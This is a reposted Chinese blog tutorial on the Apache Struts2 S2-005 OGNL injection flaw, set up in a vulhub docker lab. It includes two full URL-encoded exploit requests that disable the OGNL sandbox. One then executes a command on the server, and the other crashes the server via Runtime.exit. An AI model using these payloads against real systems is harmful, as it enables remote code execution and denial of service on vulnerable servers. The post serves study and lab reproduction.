Struts2/S2-005

本文阅读 3 分钟

OGNL除其他功能外,还提供了广泛的表达式评估功能,在S2-003中,Struts会将HTTP的每个参数名解析为OGNL语句执行(可以理解为Java代码), 例如:XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:

user.address.city=Bishkek&user['favoriteDrink']=kumys 
//会被转化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

OGNL表达式通过#来访问struts的对象,Struts框架通过过滤#字符防止安全问题,通过unicode编码(u0023)或8进制(43),绕过ParametersInterceptor内置的'#'使用保护,从而能够操纵服务器端上下文对象。

例如:

要将#session.user设置为“ 0wn3d”,可以使用以下参数名称:
('\ u0023'+'session 'user '')(未使用)= 0wn3d

网址编码后,其外观如下所示:
('\ u0023'%20%2b%20'session 'user '')(未使用)= 0wn3d

在修复S2-003时,官方新出了一个沙盒机制,禁止静态方法调用和类方法执行等。默认禁止了静态方法的调用(allowStaticMethodAcces和MethodAccessor.denyMethodExecution), 但是我们可以利用OGNL表达式先把沙盒关闭掉,此安全配置被绕过,就又可以执行命令了。

xwork.MethodAccessor.denyMethodExecution设置为false,
allowStaticMethodAccess设置为true

整体过程如下:

S2-003 使用unicode编码\u0023和8进制编码43绕过s2对#的防御
S2-003 后官方增加了安全模式(沙盒)
S2-005 使用OGNL表达式将沙盒关闭,继续执行代码
影响版本
2.0.0 - 2.1.8.1
docker-compose build
docker-compose up -d
访问:http:ip:8080

3.1、利用方式一

POC如下

GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true
&(aaaa)((%27\u0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))
&(asdf)(('\u0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

我们将POC还原:

1、?('#_memberAccess['allowStaticMethodAccess']')(vaaa)=true 
2、&(aaaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#vccc')(#vccc=new java.lang.Boolean("false")))
3、&(asdf)(('#rt.exec("touch /tmp/success".split(" "))')(#rt=@java.lang.Runtime@getRuntime()))=1

我们看还原后的第一步: 将_memberAccess变量中的allowStaticMethod方法设置为true,此选项可以执行静态方法。 第二步: 将上下文中的xwork.MethodAccessor.denyMethodExecution设置为false,此选项允许方法的执行。 前文我们提到,需要先将沙盒防御关闭,才能利用,而前两步骤就是为了关闭沙盒的防御,由于我们利用的OGNl表达式,所以在写POC的时候,需要遵守OGNL的语法树规则。 第三步: 是我们的攻击代码,通过调用Runtime类的静态方法获取一个Runtime对象。执行exec("touch /tmp/success".split(" "))操作。

3.2、利用方式二

POC如下:

GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true
&(aaaa)((%27\u0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))
&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

我们将POC还原:

1、?('#_memberAccess['allowStaticMethodAccess']')(vaaa)=true 
2、&(aaaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#vccc')(#vccc=new java.lang.Boolean("false")))
3、&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

前两步骤和POC1中一样,是为了绕过沙盒防御。 第三步中的命令,会导致服务器挂掉。

参考链接:https://github.com/vulhub/

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/sycamorelg/article/details/117567114
-- 展开阅读全文 --
Web安全—逻辑越权漏洞(BAC)
« 上一篇 03-13
Redis底层数据结构--简单动态字符串
下一篇 » 04-10

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复